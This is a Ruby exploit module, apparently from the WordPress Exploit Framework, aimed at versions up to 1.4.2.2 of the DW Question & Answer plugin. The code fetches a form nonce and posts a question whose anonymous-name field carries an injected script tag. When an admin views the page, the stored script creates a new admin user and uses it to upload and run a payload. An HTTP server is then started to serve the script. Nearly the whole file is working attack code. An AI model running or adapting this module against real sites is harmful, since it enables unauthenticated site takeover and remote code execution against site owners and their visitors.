lib/wpxf/modules/exploit/xss/stored/dw_question_answer_stored_xss_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::DwQuestionAnswerStoredXssShellUpload < Wpxf::Module
include Wpxf
include Wpxf::WordPress::Xss
def initialize
super
update_info(
name: 'DW Question & Answer <= 1.4.2.2 Stored XSS Shell Upload',
desc: 'This module exploits a lack of input validation in versions '\
'<= 1.4.2.2 of the DW Question & Answer plugin which '\
'allows unauthenticated users to store a script that will '\
'create a new admin user and use the new credentials to '\
'upload and execute a payload when an admin views the page.',
author: [
'Rahul Pratap Singh', # Vulnerability discovery
'rastating' # WPXF module
],
references: [
['URL', 'https://0x62626262.wordpress.com/2016/03/11/dw-question-answer-xss-vulnerability/'],
['WPVDB', '8413']
],
date: 'Mar 11 2016'
)
register_options([
StringOption.new(
name: 'permalink',
desc: 'The permalink to the ask a question page',
default: '/?page_id=120',
required: true
)
])
end
def check
check_plugin_version_from_readme('dw-question-answer', '1.4.2.3')
end
def permalink
normalize_uri(full_uri, datastore['permalink'])
end
def fetch_nonce
res = execute_get_request(url: permalink)
return res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] if res && res.code == 200
end
def store_script
execute_post_request(
url: normalize_uri(full_uri, datastore['permalink']),
body: {
'question-title' => Utility::Text.rand_alpha(10),
'question-content' => Utility::Text.rand_alpha(10),
'question-category' => Utility::Text.rand_numeric(1),
'question-tag' => Utility::Text.rand_alpha(5),
'_dwqa_anonymous_email' => Utility::Text.rand_email,
'_dwqa_anonymous_name' => "\"><script>#{xss_ascii_encoded_include_script}</script><",
'dwqa-question-submit' => 'Submit',
'_wpnonce' => fetch_nonce,
'_wp_http_referer' => datastore['permalink']
}
)
end
def run
return false unless super
@success = false
emit_info 'Storing script...'
emit_info xss_ascii_encoded_include_script, true
res = store_script
if res.nil?
emit_error 'No response from the target'
return false
end
if res.code != 200
emit_error "Server responded with code #{res.code}"
return false
end
emit_success 'Script stored and will be executed when a user views the question'
start_http_server
@success
end
end